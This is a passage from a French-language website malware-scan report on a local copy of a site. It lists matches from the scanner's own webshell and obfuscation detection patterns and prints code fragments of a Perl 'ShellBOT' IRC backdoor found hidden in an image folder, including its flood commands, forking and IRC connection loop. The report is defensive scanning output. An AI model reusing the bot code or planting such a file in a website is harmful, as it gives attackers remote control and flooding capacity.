nger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUkVS|">SFRUUF9VU0VS
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **JlcGxhY2**
Trouvé en position **26061** du fichier; voici le contexte :

```
SFRUUF9IT1NU|SFRUUF9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NF
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **YmFzZTY0**
Trouvé en position **26125** du fichier; voici le contexte :

```
EVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX3JlcGxhY2U|c3Vic3Ry|ZXhwbG9kZQ|Zm9wZW4=|ZnJlY
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **yZXBsYWNl**
Trouvé en position **26178** du fichier; voici le contexte :

```
y|ZXhwbG9kZQ|Zm9wZW4=|ZnJlYWQ=|Y3Rpb25fZXhpc3R|YmFzZTY0X2RlY29kZQ==|ZmlsZV9nZXRf
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex.

https://base64.avonture.be/

Signature : **c2hlbG**

Trouvé en position **26213** du fichier; voici le contexte :

```
b25fZXhpc3R|YmFzZTY0X2RlY29kZQ==|ZmlsZV9nZXRfY29udGVudHMg|cHJlZ19yZXBsYWNl|aHR0c
         array('risk'=>'dang
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **base64_decode**

Trouvé en position **24241** du fichier; voici le contexte :

```
// Check if the user has specified a folder in the user entry form
         if (is_dir($folder=base64_decode($var['folder']).DS)) $this->aeSession-
      } else {
         $tmp=$this->a
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **base64_decode**

Trouvé en position **25488** du fichier; voici le contexte :

```
ation();

      $this->_arrRegex=array(
         array('risk'=>'danger','pattern'=>'(gzinflate *\( *base64_decode)','dis
         array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|e
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **base64_decode**

Trouvé en position **26336** du fichier; voici le contexte :

```
lwYXJ0L2Zvcm0tZGF0YQ==)','disclaimer'=>HIGHPROBALITY),
         array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **gzdecode**

Trouvé en position **26350** du fichier; voici le contexte :

```
ZGF0YQ==)','disclaimer'=>HIGHPROBALITY),
         array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **gzdeflate**

Trouvé en position **26359** du fichier; voici le contexte :

```
','disclaimer'=>HIGHPROBALITY),
         array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **gzuncompress**

Trouvé en position **26369** du fichier; voici le contexte :

```
mer'=>HIGHPROBALITY),
         array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **gzcompress**
Trouvé en position **26382** du fichier; voici le contexte :

```
BALITY),
        array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **readgzfile**
Trouvé en position **26393** du fichier; voici le contexte :

```
array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gzuncompres
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **uudecode**
Trouvé en position **26404** du fichier; voici le contexte :

```
y('risk'=>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gzuncompress|gz
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **zlib_decode**
Trouvé en position **26413** du fichier; voici le contexte :

```
>'danger','pattern'=>'(base64_decode|gzdecode|gzdeflate|gzuncompress|gzcompress|
        array('ris
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **zlib_encode**
Trouvé en position **26425** du fichier; voici le contexte :

```
attern'=>'(base64_decode|gzdecode|gzdeflate|gzuncompress|gzcompress|readgzfile|u
        array('risk'=>'warning
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **gzfile**
Trouvé en position **26437** du fichier; voici le contexte :

```
ase64_decode|gzdecode|gzdeflate|gzuncompress|gzcompress|read**gzfile**|uudecode|zlib
        array('risk'=>'warning','patt
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **gzget**
Trouvé en position **26444** du fichier; voici le contexte :

```
ecode|gzdecode|gzdeflate|gzuncompress|gzcompress|readgzfile|uudecode|zlib_decode
        array('risk'=>'warning','pattern'=>
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **gzpassthru**
Trouvé en position **26450** du fichier; voici le contexte :

```
gzdecode|gzdeflate|gzuncompress|gzcompress|readgzfile|uudecode|zlib_decode|zlib_
        array('risk'=>'warning','pattern'=>'(AnonGhost
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **27594** du fichier; voici le contexte :

```
{
```

```
         // Check if the user has specified a folder in the user entry form
         if (is_dir(base64_decode($var['folder']).DS)) {
            $this->_directory=base64_decode($var['folder']);
         }
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **27661** du fichier; voici le contexte :

```
r entry form
         if (is_dir(base64_decode($var['folder']).DS)) {
            $this->_directory=base64_decode($var['folder']);
         }
      } else {
         $this->_directory=$this->aeSession->get('folder
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **28872** du fichier; voici le contexte :

```
ing was ok (return -1)
               if (DEMO) die('-1');

               $filename=base64_decode($var['filename']);
               die($this->aeFiles->KillFile($filename));
            }
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **29366** du fichier; voici le contexte :

```
; sorry.</div>';
                  die();
               }

               $filename=base64_decode($var['filename']);
               $src=htmlentities($this->aeFiles->SeeFile($filename));
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **36518** du fichier; voici le contexte :

```
euses,</li>'.
         '<li>si le script détecte la présence de certaines signatures (p.ex. "b
         'cela n\'implique pas que votre site ait été hacké.  En effet, certaine
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **36666** du fichier; voici le contexte :

```
as que votre site ait été hacké.  En effet, certaines instructions sont utilisée
         'de manière parfaitement légitime dans des codes sou
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **FilesMan**
Trouvé en position **25181** du fichier; voici le contexte :

```
gex should have three parts : what is before, the pattern, what is after
      // For instance (.*)(FilesMan)(.*)
      // of           (.*)(virus_code|a_second_one|a_third_one)(.*)
      // This is mandatory
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **25582** du fichier; voici le contexte :

```
*\( *base64_decode)','disclaimer'=>HIGHPROBALITY),
        array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
        array('risk'=>'danger','pattern'
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **AnonGhost**
Trouvé en position **26551** du fichier; voici le contexte :

```
zpassthru)','disclaimer'=>WARNINGNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bash_history**
Trouvé en position **26561** du fichier; voici le contexte :

```
','disclaimer'=>WARNINGNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bckdrprm**
Trouvé en position **26574** du fichier; voici le contexte :

```
'=>WARNINGNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bitchx**
Trouvé en position **26583** du fichier; voici le contexte :

```
GNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **crystalshell**
Trouvé en position **26590** du fichier; voici le contexte :

```
DATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **cwings**
Trouvé en position **26603** du fichier; voici le contexte :

```
,
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **dalnet**
Trouvé en position **26610** du fichier; voici le contexte :

```
array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crys
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **directmail**
Trouvé en position **26617** du fichier; voici le contexte :

```
ay('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crystal
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **eggdrop**
Trouvé en position **26628** du fichier; voici le contexte :

```
'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crystalshell|cwing
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **ekibastos**
Trouvé en position **26636** du fichier; voici le contexte :

```
','pattern'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crystalshell|cwings|dalnet
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **FilesMan**
Trouvé en position **26646** du fichier; voici le contexte :

```
'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crystalshell|cwings|dalnet|directmai
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **FilesTools**
Trouvé en position **26655** du fichier; voici le contexte :

```
Ghost|bash_history|bckdrprm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **guardservices**
Trouvé en position **26666** du fichier; voici le contexte :

```
history|bckdrprm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop|ekibastos|
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Hackeado**
Trouvé en position **26680** du fichier; voici le contexte :

```
rm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop|ekibastos|FilesMan|Files
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **HaCkEr**
Trouvé en position **26689** du fichier; voici le contexte :

```
|crystalshell|cwings|dalnet|directmail|eggdrop|ekibastos|FilesMan|FilesTools|gua
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hackmeplz**
Trouvé en position **26696** du fichier; voici le contexte :

```
lshell|cwings|dalnet|directmail|eggdrop|ekibastos|FilesMan|FilesTools|guardservi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **HackTeam**
Trouvé en position **26706** du fichier; voici le contexte :

```
ngs|dalnet|directmail|eggdrop|ekibastos|FilesMan|FilesTools|guardservices|Hackea
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Hmei7**
Trouvé en position **26715** du fichier; voici le contexte :

```
t|directmail|eggdrop|ekibastos|FilesMan|FilesTools|guardservices|Hackeado|HaCkEr
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Inbox Mass Mailer**
Trouvé en position **26721** du fichier; voici le contexte :

```
ctmail|eggdrop|ekibastos|FilesMan|FilesTools|guardservices|Hackeado|HaCkEr|hackm
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **JCE Fucker**
Trouvé en position **26739** du fichier; voici le contexte :

```
bastos|FilesMan|FilesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **m0rtix**
Trouvé en position **26750** du fichier; voici le contexte :

```
sMan|FilesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mas
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **multiviews**
Trouvé en position **26757** du fichier; voici le contexte :

```
lesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Maile
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **phpremoteview**
Trouvé en position **26768** du fichier; voici le contexte :

```
ardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Mailer|JCE Fucke
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **phpshell**
Trouvé en position **26782** du fichier; voici le contexte :

```
ckeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multi
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **phpshell**
Trouvé en position **26791** du fichier; voici le contexte :

```
CkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multiviews|php
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **psybnc**
Trouvé en position **26800** du fichier; voici le contexte :

```
meplz|HackTeam|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multiviews|phpremotevie
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **r0nin**
Trouvé en position **26807** du fichier; voici le contexte :

```
ackTeam|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multiviews|phpremoteview|phpsh
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **r57shell**
Trouvé en position **26813** du fichier; voici le contexte :

```
m|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multiviews|phpremoteview|phpshell|ph
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **raslan58**
Trouvé en position **26822** du fichier; voici le contexte :

```
nbox Mass Mailer|JCE Fucker|m0rtix|multiviews|phpremoteview|phpshell|phpshell|ps
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell_exec**
Trouvé en position **26831** du fichier; voici le contexte :

```
Mailer|JCE Fucker|m0rtix|multiviews|phpremoteview|phpshell|phpshell|psybnc|r0nir
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shellbot**
Trouvé en position **26842** du fichier; voici le contexte :

```
Fucker|m0rtix|multiviews|phpremoteview|phpshell|phpshell|psybnc|r0nin|r57shell|r
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **spymeta**
Trouvé en position **26851** du fichier; voici le contexte :

```
0rtix|multiviews|phpremoteview|phpshell|phpshell|psybnc|r0nin|r57shell|raslan58|
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **uname -a**
Trouvé en position **26859** du fichier; voici le contexte :

```
ltiviews|phpremoteview|phpshell|phpshell|psybnc|r0nin|r57shell|raslan58|shell_ex
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **undernet**
Trouvé en position **26868** du fichier; voici le contexte :

```
phpremoteview|phpshell|phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellb
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **upl0ad**
Trouvé en position **26877** du fichier; voici le contexte :

```
view|phpshell|phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellbot|spymet
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **vandal**
Trouvé en position **26884** du fichier; voici le contexte :

```
pshell|phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellbot|spymeta|uname
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **viagra**
Trouvé en position **26891** du fichier; voici le contexte :

```
phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellbot|spymeta|uname –a|unc
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **vulnscan**
Trouvé en position **26907** du fichier; voici le contexte :

```
r0nin|r57shell|raslan58|shell_exec|shellbot|spymeta|uname –a|undernet|upl0ad|var
      );
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Web Shell**
Trouvé en position **26916** du fichier; voici le contexte :

```
shell|raslan58|shell_exec|shellbot|spymeta|uname –a|undernet|upl0ad|vandal|viagr
      );
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Webshell**
Trouvé en position **26926** du fichier; voici le contexte :

```
an58|shell_exec|shellbot|spymeta|uname –a|undernet|upl0ad|vandal|viagra|void\.ru
      );

      return
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **wrgggthhd**
Trouvé en position **26935** du fichier; voici le contexte :

```
l_exec|shellbot|spymeta|uname –a|undernet|upl0ad|vandal|viagra|void\.ru|vulnscar
      );

      return true;
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **WSOsetcookie**
Trouvé en position **26945** du fichier; voici le contexte :

```
llbot|spymeta|uname –a|undernet|upl0ad|vandal|viagra|void\.ru|vulnscan|Web Shell
      );

      return true;

   } // f
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **AnonGhost**
Trouvé en position **30181** du fichier; voici le contexte :

```
for ($i = 0; $i < $patternFound; $i++) {

                        // Get the found keyword (f.i. AnonGhost then, in the se
                        $keyword=(isset($arr
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bash_history**
Trouvé en position **30217** du fichier; voici le contexte :

```
$i++) {

                        // Get the found keyword (f.i. AnonGhost then, in the se
                        $keyword=(isset($arrMatch[1][$i][0])?$keyword=$arrMatch[
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **AnonGhost**
Trouvé en position **53866** du fichier; voici le contexte :

```
//     1.              2.          3.
                        //    (.*)(AnonGhost|bash_history)(.*)
                        //
                        // the $arrMatch[2]
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bash_history**
Trouvé en position **53876** du fichier; voici le contexte :

```
//     1.              2.          3.
                        //    (.*)(AnonGhost|bash_history)(.*)
                        //
                        // the $arrMatch[2] position wil
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **AnonGhost**

Trouvé en position **54423** du fichier; voici le contexte :

```
($i = 0; $i < $patternFound; $i++) {

                            // Get the found keyword (f.i. AnonGhost then, in
                            $keyword=(isse
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **bash_history**
Trouvé en position **54459** du fichier; voici le contexte :

```
{

                            // Get the found keyword (f.i. AnonGhost then, in
                            $keyword=(isset($arrMatch[1][$i][0])?$keyword=$arr
```

6. **Attention** /Applications/MAMP/htdocs/pep83/images/pep2019/Evenements/EcoleInclusive.html

Ce fichier a été ignoré car sa taille excède la taille max. autorisée (13M)

7. /Applications/MAMP/htdocs/pep83/images/gmapfp/gay *(32.58K)* *(Date dernière modif. August 28 2021 09:06:46.)*

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus be071c935204b887c30df5d46e36fcca
Signature : **ShellBOT**
Trouvé en position **23** du fichier; voici le contexte :

```
#!/usr/bin/perl
#
#  ShellBOT by: iPS
#       Greetz: Puna, Kelserific
#
# Comandos:
#           @oldpack <ip> <bytes> <tempo
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **Greetz**
Trouvé en position **49** du fichier; voici le contexte :

```
#!/usr/bin/perl
#
#  ShellBOT by: iPS
#       Greetz: Puna, Kelserific
#
# Comandos:
#           @oldpack <ip> <bytes> <tempo>;
#           @udp <ip
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **ShellBot**
Trouvé en position **1244** du fichier; voici le contexte :

```
ealname = "uname -n";
#chop (my $realname = `uname -n`);

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = ".";
my $estatisticas = 0;
my $pacotes = 1;
#########################
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **1724** du fichier; voici le contexte :

```
so"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
```

```
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **Shellbot**
Trouvé en position **1821** du fichier; voici le contexte :

```
y %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#####################

sub getnick {
  return "vn".int(rand(1000));
}

sub getident2 {
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **2436** du fichier; voici le contexte :

```
($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **2731** du fichier; voici le contexte :

```
dr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
```

```
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $ir
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **2839** du fichier; voici le contexte :

```
et = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **2856** du fichier; voici le contexte :

```
$IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **2902** du fichier; voici le contexte :

```
_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **2919** du fichier; voici le contexte :

```
C_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_server
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **irc_servers**
Trouvé en position **2963** du fichier; voici le contexte :

```
ket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->so
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **2980** du fichier; voici le contexte :

```
servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     ni
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **3019** du fichier; voici le contexte :

```
cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $irc
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **3036** du fichier; voici le contexte :

```
a'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_sock
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **ShellBot**
Trouvé en position **3204** du fichier; voici le contexte :

```
;
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname")
     print "\nShellBot $VERSAO by: deviL__\n";
     print "nick: $nick\n";
     print "servidor: $servidor\n\n";
     s
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **3380** du fichier; voici le contexte :

```
ervidor: $servidor\n\n";
     sleep 2;
   }

}
```

```
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_serv
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **3453** du fichier; voici le contexte :

```
( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**
Trouvé en position **3483** du fichier; voici le contexte :

```
_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **cur_socket**
Trouvé en position **3633** du fichier; voici le contexte :

```
ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 40
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **irc_servers**

